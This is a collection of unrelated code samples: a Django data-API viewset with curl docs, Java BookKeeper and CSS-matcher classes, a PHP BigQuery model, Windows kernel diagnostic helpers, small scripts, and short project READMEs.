
        © Copyright .
      Created using Sphinx 1.3.1.


text:
import json
from django import forms
from django.shortcuts import get_object_or_404
from django.utils.translation import ugettext as _
from rest_framework import exceptions, permissions
from rest_framework.decorators import action
from rest_framework.response import Response
from rest_framework.reverse import reverse
from rest_framework.viewsets import ViewSet
from taggit.forms import TagField

from onadata.apps.api.tools import get_accessible_forms, get_xform
from onadata.apps.logger.models import Instance
from onadata.apps.viewer.models.parsed_instance import ParsedInstance
from onadata.libs.utils.user_auth import check_and_set_form_by_id,\
    check_and_set_form_by_id_string

class DataViewSet(ViewSet):
    """
This endpoint provides access to submitted data in JSON format. Where:

* `owner` - is organization or user whom the data belongs to
* `formid` - the form unique identifier
* `dataid` - submission data unique identifier

## GET JSON List of data end points
This is a json list of the data end points of `owner` forms
 and/or including public forms and forms shared with `owner`.

GET /api/v1/data
GET /api/v1/data/{owner}

> Example
>
>       curl -X GET https://ona.io/api/v1/data/modilabs

> Response
>
>        {
>            "dhis2form": "https://ona.io/api/v1/data/modilabs/4240",
>            "exp_one": "https://ona.io/api/v1/data/modilabs/13789",
>            "userone": "https://ona.io/api/v1/data/modilabs/10417",
>        }

## Get Submitted data for a specific form
Provides a list of json submitted data for a specific form.

GET /api/v1/data/{owner}/{formid}

> Example
>
>       curl -X GET https://ona.io/api/v1/data/modilabs/22845

> Response
>
>        [
>            {
>                "_id": 4503,
>                "_bamboo_dataset_id": "",
>                "_deleted_at": null,
>                "expense_type": "service",
>                "_xform_id_string": "exp",
>                "_geolocation": [
>                    null,
>                    null
>                ],
>                "end": "2013-01-03T10:26:25.674+03",
>                "start": "2013-01-03T10:25:17.409+03",
>                "expense_date": "2011-12-23",
>                "_status": "submitted_via_web",
>                "today": "2013-01-03",
>                "_uuid": "2e599f6fe0de42d3a1417fb7d821c859",
>                "imei": "351746052013466",
>                "formhub/uuid": "46ea15e2b8134624a47e2c4b77eef0d4",
>                "kind": "monthly",
>                "_submission_time": "2013-01-03T02:27:19",
>                "required": "yes",
>                "_attachments": [],
>                "item": "Rent",
>                "amount": "35000.0",
>                "deviceid": "351746052013466",
>                "subscriberid": "639027...60317"
>            },
>            {
>                ....
>                "subscriberid": "639027...60317"
>            }
>        ]

## Get a single data submission for a given form

Get a single specific submission json data providing `formid`
 and `dataid` as url path parameters, where:

* `owner` - is organization or user whom the data belongs to
* `formid` - is the identifying number for a specific form
* `dataid` - is the unique id of the data, the value of `_id` or `_uuid`

GET /api/v1/data/{owner}/{formid}/
{dataid}

> Example
>
>       curl -X GET https://ona.io/api/v1/data/modilabs/22845/4503

> Response
>
>            {
>                "_id": 4503,
>                "_bamboo_dataset_id": "",
>                "_deleted_at": null,
>                "expense_type": "service",
>                "_xform_id_string": "exp",
>                "_geolocation": [
>                    null,
>                    null
>                ],
>                "end": "2013-01-03T10:26:25.674+03",
>                "start": "2013-01-03T10:25:17.409+03",
>                "expense_date": "2011-12-23",
>                "_status": "submitted_via_web",
>                "today": "2013-01-03",
>                "_uuid": "2e599f6fe0de42d3a1417fb7d821c859",
>                "imei": "351746052013466",
>                "formhub/uuid": "46ea15e2b8134624a47e2c4b77eef0d4",
>                "kind": "monthly",
>                "_submission_time": "2013-01-03T02:27:19",
>                "required": "yes",
>                "_attachments": [],
>                "item": "Rent",
>                "amount": "35000.0",
>                "deviceid": "351746052013466",
>                "subscriberid": "639027...60317"
>            },
>            {
>                ....
>                "subscriberid": "639027...60317"
>            }
>        ]

## Query submitted data of a specific form
Provides a list of json submitted data for a specific form. Use `query`
parameter to apply form data specific, see

http://www.mongodb.org/display/DOCS/Querying.

For more details see

API Parameters.

GET /api/v1/data/{owner}/{formid}
?query={"field":"value"}

> Example
>
>       curl -X GET  https://ona.io/api/v1/data/modilabs/22845
>       ?query={"kind": "monthly"}

> Response
>
>        [
>            {
>                "_id": 4503,
>                "_bamboo_dataset_id": "",
>                "_deleted_at": null,
>                "expense_type": "service",
>                "_xform_id_string": "exp",
>                "_geolocation": [
>                    null,
>                    null
>                ],
>                "end": "2013-01-03T10:26:25.674+03",
>                "start": "2013-01-03T10:25:17.409+03",
>                "expense_date": "2011-12-23",
>                "_status": "submitted_via_web",
>                "today": "2013-01-03",
>                "_uuid": "2e599f6fe0de42d3a1417fb7d821c859",
>                "imei": "351746052013466",
>                "formhub/uuid": "46ea15e2b8134624a47e2c4b77eef0d4",
>                "kind": "monthly",
>                "_submission_time": "2013-01-03T02:27:19",
>                "required": "yes",
>                "_attachments": [],
>                "item": "Rent",
>                "amount": "35000.0",
>                "deviceid": "351746052013466",
>                "subscriberid": "639027...60317"
>            },
>            {
>                ....
>                "subscriberid": "639027...60317"
>            }
>        ]

## Query submitted data of a specific form using Tags
Provides a list of json submitted data for a specific form matching specific
tags. Use the `tags` query parameter to filter the list of forms, `tags`
should be a comma separated list of tags.

GET /api/v1/data?tags=tag1,tag2

GET /api/v1/data/{owner}?tags=tag1,tag2

GET /api/v1/data/{owner}/{formid}?tags
=tag1,tag2

> Example
>
>       curl -X GET https://ona.io/api/v1/data/modilabs/22845?tags=monthly

## Tag a submission data point

A `POST` payload of parameter `tags` with a comma separated list of tags.

Examples

- `animal fruit denim` - space delimited, no commas
- `animal, fruit denim` - comma delimited

POST /api/v1/data/{owner}/{formid}/
{dataid}/labels

Payload

    {"tags": "tag1, tag2"}

## Delete a specific tag from a submission

DELETE /api/v1/data/{owner}/{formid}/
{dataid}/labels/tag_name

> Request
>
>       curl -X DELETE
>       https://ona.io/api/v1/data/modilabs/28058/20/labels/tag1
or to delete the tag "hello world"
>
>       curl -X DELETE
>       https://ona.io/api/v1/data/modilabs/28058/20/labels/hello%20world
>
> Response
>
>        HTTP 200 OK
"""
    permission_classes = [permissions.IsAuthenticated, ]
    lookup_field = 'owner'
    lookup_fields = ('owner', 'formid', 'dataid')
    extra_lookup_fields = None

    queryset = Instance.objects.all()

    def _get_formlist_data_points(self, request, owner=None):
        xforms = get_accessible_forms(owner)
        # filter by tags if available.
        tags = self.request.QUERY_PARAMS.get('tags', None)
        if tags and isinstance(tags, basestring):
            tags = tags.split(',')
            xforms = xforms.filter(tags__name__in=tags).distinct()
        rs = {}
        for xform in xforms.distinct():
            point = {u"%s" % xform.id_string:
                     reverse("data-list", kwargs={
                             "formid": xform.pk,
                             "owner": xform.user.username},
                             request=request)}
            rs.update(point)
        return rs

    def _get_form_data(self, xform, **kwargs):
        query = kwargs.get('query', {})
        query = query if query is not None else {}
        if xform:
            query[ParsedInstance.USERFORM_ID] =\
                u'%s_%s' % (xform.user.username, xform.id_string)
        query = json.dumps(query) if isinstance(query, dict) else query
        margs = {
            'query': query,
            'fields': kwargs.get('fields', None),
            'sort': kwargs.get('sort', None)
        }
        cursor = ParsedInstance.query_mongo_minimal(**margs)
        records = list(record for record in cursor)
        return records

    def list(self, request, owner=None, formid=None, dataid=None, **kwargs):
        data = None
        xform = None
        query = None
        tags = self.request.QUERY_PARAMS.get('tags', None)
        if owner is None and not request.user.is_anonymous():
            owner = request.user.username
        if not formid and not dataid and not tags:
            data = self._get_formlist_data_points(request, owner)

        if formid:
            xform = get_xform(formid, request)

            query = {}
            query[ParsedInstance.USERFORM_ID] = \
                u'%s_%s' % (xform.user.username, xform.id_string)

        if xform and dataid and dataid == 'labels':
            return Response(list(xform.tags.names()))
        if dataid:
            if query:
                query.update({'_id': int(dataid)})
            else:
                query = {'_id': int(dataid)}
        rquery = request.QUERY_PARAMS.get('query', None)
        if rquery:
            rquery = json.loads(rquery)
            if query:
                query.update(rquery)
            else:
                query = rquery
        if tags:
            query = query if query else {}
            query['_tags'] = {'$all': tags.split(',')}
        if xform:
            data = self._get_form_data(xform, query=query)
        if not xform and not data:
            xforms = get_accessible_forms(owner)
            if not query:
                query = {}
            query[ParsedInstance.USERFORM_ID] = {
                '$in': [
                    u'%s_%s' % (form.user.username, form.id_string)
                    for form in xforms]
            }
            # query['_id'] = {'$in': [form.pk for form in xforms]}
            data = self._get_form_data(xform, query=query)
        if dataid and len(data):
            data = data[0]
        return Response(data)

    @action(methods=['GET', 'POST', 'DELETE'], extra_lookup_fields=['label', ])
    def labels(self, request, owner, formid, dataid, **kwargs):
        class TagForm(forms.Form):
            tags = TagField()
        if owner is None and not request.user.is_anonymous():
            owner = request.user.username
        xform = None
        try:
            xform = check_and_set_form_by_id(int(formid), request)
        except ValueError:
            xform = check_and_set_form_by_id_string(formid, request)
        if not xform:
            raise exceptions.PermissionDenied(
                _("You do not have permission to view data from this form."))
        status = 400
        instance = get_object_or_404(ParsedInstance, instance__pk=int(dataid))
        if request.method == 'POST':
            form = TagForm(request.DATA)
            if form.is_valid():
                tags = form.cleaned_data.get('tags', None)
                if tags:
                    for tag in tags:
                        instance.instance.tags.add(tag)
                    instance.save()
                    status = 201
        label = kwargs.get('label', None)
        if request.method == 'GET' and label:
            data = [
                tag['name'] for tag in
                instance.instance.tags.filter(name=label).values('name')]
        elif request.method == 'DELETE' and label:
            count = instance.instance.tags.count()
            instance.instance.tags.remove(label)
            # Accepted, label does not exist hence nothing removed
            if count == instance.instance.tags.count():
                status = 202
            data = list(instance.instance.tags.names())
        else:
            data = list(instance.instance.tags.names())
        if request.method == 'GET':
            status = 200
        return Response(data, status=status)


text:
import ErrorConstants from '../constants/ErrorConstants';
/**
 * @description returns an error message if bad
 * json object is
 *
 * @param {Error} error javascript error object
 * @param {object} request express request promise
 * @param {Promise} response expressjs response Promise
 * @param {function} next express next method which passes control to
 * the next middleware
 *
 * @returns {void |Promise} Promise from express http response if
 * a json error occurs
 */
const JSONErrorHandler = (error, request, response, next) => {
  if (error && error.toString().indexOf('JSON') > -1) {
    return response
      .status(400).json({ error: ErrorConstants.badJSONRequest });
  }
  next();
};
export default JSONErrorHandler;


text:
package io.pravega.segmentstore.storage.impl.bookkeeper;

import com.google.common.annotations.VisibleForTesting;
import com.google.common.base.Preconditions;
import io.pravega.common.Exceptions;
import io.pravega.segmentstore.storage.DataLogNotAvailableException;
import io.pravega.segmentstore.storage.DurableDataLog;
import io.pravega.segmentstore.storage.DurableDataLogException;
import io.pravega.segmentstore.storage.DurableDataLogFactory;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.atomic.AtomicReference;
import lombok.extern.slf4j.Slf4j;
import lombok.val;
import org.apache.bookkeeper.client.api.BookKeeper;
import org.apache.bookkeeper.client.DefaultEnsemblePlacementPolicy;
import org.apache.bookkeeper.client.RackawareEnsemblePlacementPolicy;
import org.apache.bookkeeper.conf.ClientConfiguration;
import org.apache.bookkeeper.net.CommonConfigurationKeys;
import org.apache.curator.framework.CuratorFramework;

/**
 * Factory for BookKeeperLogs.
 */
@Slf4j
public class BookKeeperLogFactory implements DurableDataLogFactory {
    //region Members

    private final String namespace;
    private final CuratorFramework zkClient;
    private final AtomicReference<BookKeeper> bookKeeper;
    private final BookKeeperConfig config;
    private final ScheduledExecutorService executor;

    //endregion

    //region Constructor

    /**
     * Creates a new instance of the BookKeeperLogFactory class.
     *
     * @param config   The configuration to use for all instances created.
     * @param zkClient ZooKeeper Client to use.
     * @param executor An executor to use for async operations.
     */
    public BookKeeperLogFactory(BookKeeperConfig config, CuratorFramework zkClient, ScheduledExecutorService executor) {
        this.config = Preconditions.checkNotNull(config, "config");
        this.executor = Preconditions.checkNotNull(executor, "executor");
        this.namespace = zkClient.getNamespace();
        this.zkClient = Preconditions.checkNotNull(zkClient, "zkClient")
                                     .usingNamespace(this.namespace + this.config.getZkMetadataPath());
        this.bookKeeper = new AtomicReference<>();
    }

    //endregion

    //region AutoCloseable Implementation

    @Override
    public void close() {
        val bk = this.bookKeeper.getAndSet(null);
        if (bk != null) {
            try {
                bk.close();
            } catch (Exception ex) {
                log.error("Unable to close BookKeeper client.", ex);
            }
        }
    }

    //endregion

    //region DurableDataLogFactory Implementation

    @Override
    public void initialize() throws DurableDataLogException {
        Preconditions.checkState(this.bookKeeper.get() == null, "BookKeeperLogFactory is already initialized.");
        try {
            this.bookKeeper.set(startBookKeeperClient());
        } catch (IllegalArgumentException | NullPointerException ex) {
            // Most likely a configuration issue; re-throw as is.
            close();
            throw ex;
        } catch (Throwable ex) {
            if (!Exceptions.mustRethrow(ex)) {
                // Make sure we close anything we may have opened.
                close();
            }

            // ZooKeeper not reachable, some other environment issue.
            throw new DataLogNotAvailableException("Unable to establish connection to ZooKeeper or BookKeeper.", ex);
        }
    }

    @Override
    public DurableDataLog createDurableDataLog(int logId) {
        Preconditions.checkState(this.bookKeeper.get() != null, "BookKeeperLogFactory is not initialized.");
        return new BookKeeperLog(logId, this.zkClient, this.bookKeeper.get(), this.config, this.executor);
    }

    @Override
    public DebugBookKeeperLogWrapper createDebugLogWrapper(int logId) {
        Preconditions.checkState(this.bookKeeper.get() != null, "BookKeeperLogFactory is not initialized.");
        return new DebugBookKeeperLogWrapper(logId, this.zkClient, this.bookKeeper.get(), this.config, this.executor);
    }

    @Override
    public int getRepairLogId() {
        return Ledgers.REPAIR_LOG_ID;
    }

    @Override
    public int getBackupLogId() {
        return Ledgers.BACKUP_LOG_ID;
    }

    /**
     * Gets a pointer to the BookKeeper client used by this BookKeeperLogFactory. This should only be used for testing or
     * admin tool purposes only. It should not be used for regular operations.
     *
     * @return The BookKeeper client.
     */
    @VisibleForTesting
    public BookKeeper getBookKeeperClient() {
        return this.bookKeeper.get();
    }

    //endregion

    //region Initialization

    private BookKeeper startBookKeeperClient() throws Exception {
        // These two are in Seconds, not Millis.
        int writeTimeout = (int) Math.ceil(this.config.getBkWriteTimeoutMillis() / 1000.0);
        int readTimeout = (int) Math.ceil(this.config.getBkReadTimeoutMillis() / 1000.0);
        ClientConfiguration config = new ClientConfiguration()
                .setClientTcpNoDelay(true)
                .setAddEntryTimeout(writeTimeout)
                .setReadEntryTimeout(readTimeout)
                .setGetBookieInfoTimeout(readTimeout)
                .setEnableDigestTypeAutodetection(true)
                .setClientConnectTimeoutMillis((int) this.config.getZkConnectionTimeout().toMillis())
                .setZkTimeout((int) this.config.getZkConnectionTimeout().toMillis())
                .setTcpUserTimeoutMillis(this.config.getBkUserTcpTimeoutMillis());

        if (this.config.isTLSEnabled()) {
            config = config.setTLSProvider("OpenSSL");
            config = config.setTLSTrustStore(this.config.getTlsTrustStore());
            config.setTLSTrustStorePasswordPath(this.config.getTlsTrustStorePasswordPath());
        }

        String metadataServiceUri = "zk://" + this.config.getZkAddress();
        if (this.config.getBkLedgerPath().isEmpty()) {
            metadataServiceUri += "/" + this.namespace + "/bookkeeper/ledgers";
        } else {
            metadataServiceUri += this.config.getBkLedgerPath();
        }
        config = config.setMetadataServiceUri(metadataServiceUri);

        if (this.config.isEnforceMinNumRacksPerWriteQuorum()) {
            config = config.setEnsemblePlacementPolicy(RackawareEnsemblePlacementPolicy.class);
            config.setEnforceMinNumRacksPerWriteQuorum(this.config.isEnforceMinNumRacksPerWriteQuorum());
            config.setMinNumRacksPerWriteQuorum(this.config.getMinNumRacksPerWriteQuorum());
            config.setProperty(CommonConfigurationKeys.NET_TOPOLOGY_SCRIPT_FILE_NAME_KEY, this.config.getNetworkTopologyFileName());
        } else {
            config = config.setEnsemblePlacementPolicy(DefaultEnsemblePlacementPolicy.class);
        }

        return BookKeeper.newBuilder(config)
                         .build();
    }

    //endregion
}


text:
<?php

class Google_Service_Bigquery_IterationResult extends Google_Collection
{
  protected $collection_key = 'clusterInfos';
  protected $clusterInfosType = 'Google_Service_Bigquery_ClusterInfo';
  protected $clusterInfosDataType = 'array';
  public $durationMs;
  public $evalLoss;
  public $index;
  public $learnRate;
  public $trainingLoss;

  /**
   * @param Google_Service_Bigquery_ClusterInfo
   */
  public function setClusterInfos($clusterInfos)
  {
    $this->clusterInfos = $clusterInfos;
  }
  /**
   * @return Google_Service_Bigquery_ClusterInfo
   */
  public function getClusterInfos()
  {
    return $this->clusterInfos;
  }
  public function setDurationMs($durationMs)
  {
    $this->durationMs = $durationMs;
  }
  public function getDurationMs()
  {
    return $this->durationMs;
  }
  public function setEvalLoss($evalLoss)
  {
    $this->evalLoss = $evalLoss;
  }
  public function getEvalLoss()
  {
    return $this->evalLoss;
  }
  public function setIndex($index)
  {
    $this->index = $index;
  }
  public function getIndex()
  {
    return $this->index;
  }
  public function setLearnRate($learnRate)
  {
    $this->learnRate = $learnRate;
  }
  public function getLearnRate()
  {
    return $this->learnRate;
  }
  public function setTrainingLoss($trainingLoss)
  {
    $this->trainingLoss = $trainingLoss;
  }
  public function getTrainingLoss()
  {
    return $this->trainingLoss;
  }
}


text:
import sys

headerprinted = False

for fn in sys.argv[1:]:
	fh = open(fn)
	headers = fh.readline()
	if not headerprinted:
		print "filename\t%s" % (headers),
		headerprinted = True

	for ln in fh:
		print "%s\t%s" % (fn, ln),


text:
package io.github.i49.cascade.core.matchers.pseudo;

import static io.github.i49.cascade.core.dom.Elements.hasParent;
import static io.github.i49.cascade.core.dom.Elements.hasSiblingAfter;
import static io.github.i49.cascade.core.dom.Elements.hasSiblingBefore;

import org.w3c.dom.Element;

/**
 * Matcher for :empty pseudo-class selector.
 */
public class OnlyChildMatcher extends PseudoClassMatcher {

    public static final OnlyChildMatcher SINGLETON = new OnlyChildMatcher();

    private OnlyChildMatcher() {
    }

    @Override
    public boolean matches(Element element) {
        return hasParent(element) &&
               !hasSiblingBefore(element) &&
               !hasSiblingAfter(element);
    }

    @Override
    public PseudoClass getPseudoClass() {
        return PseudoClass.ONLY_CHILD;
    }
}


text:
package com.androidbook.requesthandle;

public class SoftWareUpdate implements HandleRequest {

	private final static String UPDATE_URL = "http://172.18.106.200:8080/book/book.apk";

	private String responseParam = null;

	public String getRequestType() {
		return "SoftWareUpdate";
	}

	public int handleRequest(long uid, String password, String... param) {
		responseParam = UPDATE_URL;
		return 0;
	}

	public String getResponseParam() {
		return responseParam==null?"":responseParam;
	}

}


text:
NTSTATUS GetRunningProcesses(UCHAR** ppProcessBuffer)
{
	ASSERT(ppProcessBuffer && "Invalid output buffer");
	PAGED_CODE();
	NTSTATUS stat = STATUS_SUCCESS;
	ULONG dwInSize = 32000, dwOutSize = dwInSize;
	UCHAR* pBuffer = new UCHAR[dwInSize];
	// loop around until we get a big enough buffer,
	// we succeed, or fail with a non-length related error
	while(pBuffer && (stat = ZwQuerySystemInformation(SystemProcessInformation, pBuffer, dwInSize, &dwOutSize)) == STATUS_INFO_LENGTH_MISMATCH)
	{
		dwInSize = dwOutSize;
		delete [] pBuffer;
		pBuffer = new UCHAR[dwInSize];
	}
	if(!NT_SUCCESS(stat))
	{
		if(pBuffer)
		{
			delete [] pBuffer;
		}
	}
	else
	{
		*ppProcessBuffer = pBuffer;
	}
	return stat;
}

NTSTATUS ReportException(PEXCEPTION_POINTERS pExp)
{
	PVOID pAddress = pExp->ExceptionRecord->ExceptionAddress;
	NTSTATUS code = pExp->ExceptionRecord->ExceptionCode;
	ERROR_TEXT("Caught exception of type %#08x from 0x%p", code, pAddress);
	return code;
}

//
// The code below is left over from MS's Desktop Heap Monitor that I ported to Vista/7
// If MS's original code did this, it may be needed.
// Since we use the same resource, I've left it in
//
// disable the warning
// C4509: nonstandard extension used: 'CheckPtrPtrValidity' uses SEH and 'mdlWrap' has destructor
// the generated code does the right thing
#pragma warning(push)
#pragma warning(disable : 4509)
BOOLEAN CheckPtrPtrValidity(PVOID* ppAddress)
{
	PAGED_CODE();
	ASSERT(ppAddress && "Invalid pointer passed");
	BOOLEAN bIsValid = FALSE;
	PMDL pMdl = IoAllocateMdl(ppAddress, sizeof(PVOID), FALSE, FALSE, NULL);
	if(pMdl)
	{
		WinType<PMDL, VOID> mdlWrap(pMdl, &IoFreeMdl);
		__try
		{
			MmProbeAndLockPages(pMdl, KernelMode, IoReadAccess);
			// if we're here a first dereference was successful
			DBG_TEXT("First dereference, %p can be referenced", ppAddress);
			MmUnlockPages(pMdl);
			MmPrepareMdlForReuse(pMdl);
			MmInitializeMdl(pMdl, *ppAddress, sizeof(PVOID));
			MmProbeAndLockPages(pMdl, KernelMode, IoReadAccess);
			// and a second dereference
			MmUnlockPages(pMdl);
			DBG_TEXT("Second dereference, %p can be referenced", *ppAddress);
			bIsValid = TRUE;
		}
		__except(REPORT_EXCEPTION_VOID)
		{
		}
	}
	else
	{
		DBG_TEXT("No memory for MDL");
	}
	return bIsValid;
}
#pragma warning(pop)

BOOLEAN CheckEResourceValidity()
{
	PAGED_CODE();
	BOOLEAN bIsEResourceValid = FALSE;
	if(CheckPtrPtrValidity(reinterpret_cast<PVOID*>(g_ppResUser)))
	{
		PERESOURCE pEResource = *g_ppResUser;

		// Check whether the EResource is correctly
		// inserted into the list of system resources
		// (quick check that should weed out if it's truly a valid eresource)
		PLIST_ENTRY pNextResource = pEResource->SystemResourcesList.Flink;
		PLIST_ENTRY pSecondResource = pNextResource->Flink;
		if(pSecondResource->Blink == pNextResource)
		{
			PLIST_ENTRY pBeforeNextResource = pNextResource->Blink;
			bIsEResourceValid = (pBeforeNextResource->Flink == pNextResource);
		}
	}
	return bIsEResourceValid;
}

NTSTATUS GetObjectName(PVOID pObject, PUNICODE_STRING pusName)
{
	PAGED_CODE();
	NTSTATUS stat;
	UCHAR oniBuffer[1024];
	ULONG dwRealLenRequired;
	POBJECT_NAME_INFORMATION poni = reinterpret_cast<POBJECT_NAME_INFORMATION>(oniBuffer);
	if(NT_SUCCESS(stat = ObQueryNameString(pObject, poni, sizeof(oniBuffer), &dwRealLenRequired)))
	{
		// trim off everything but the actual object name
		// as that is what dheapmon is set to output
		// (the full directory path of is too long to display in its nicely layed out table)
		USHORT wBufferCharLength = poni->Name.Length / sizeof(WCHAR);
		WCHAR* pLastSlashChar = poni->Name.Buffer;
		WCHAR* pNextSlashChar = pLastSlashChar;
		// find the last slash
		// not using wcsrchr since the name string isn't necessarily null terminated
		while((pNextSlashChar = wmemchr(pNextSlashChar, L'\\', wBufferCharLength)) != NULL)
		{
			++pNextSlashChar;
			wBufferCharLength -= static_cast<USHORT>(pNextSlashChar - pLastSlashChar);
			pLastSlashChar = pNextSlashChar;
		}
		USHORT wBytesLeftInName = wBufferCharLength * sizeof(WCHAR);
		UNICODE_STRING usNameStringFromLastSlash = {wBytesLeftInName, wBytesLeftInName, pLastSlashChar};
		RtlCopyUnicodeString(pusName, &usNameStringFromLastSlash);
	}
	return stat;
}


text:
MailingCards
============
A Short Story
-------------
Some time ago the county was creating mailing cards for registered voters. This was to notify them of an upcoming election or if their polling place had changed since the last election. This worked for some time.

However, the mailing cards were pretty plain/ugly, just generated by a simple report.

Our print shop wanted to make something nice, but I didn't want to change the report each election. That's where *this* script took over.

This script handily merges the fancy (not in the example however) print shop page with the ugly report file. It does this by creating a new pdf document in output with one page from input/address then the input/location page, then page two, location, three, location until no more address pages are left.

Usage
-----
This script requires [pyPdf](http://pybrary.net/pyPdf/). It was written with version 1.13 with Python 2.7

The input directory has two sub directories - address and location
- address - This is where you place the address report output
- location - This is where you place the sheet you want to inject between each address page

The output directory will have the output.

The only thing you need to modify (at the moment) is the fname in gen.py. It is assumed that the input/address, input/location report files are named the same and the output will have that same name as well.

TODO:
- Command line support


text:
@interface BOFindMyPasswordTableViewController : UITableViewController

@property (weak, nonatomic) IBOutlet UITextField *emailTextField;

@end


text:
# Nodejs Testing

### Preamble

My primary development language is C# .NET. I dabble in other languages. So please don't judge me too harshly on my testing projects.

Thanks!

## Wm. Barrett Simms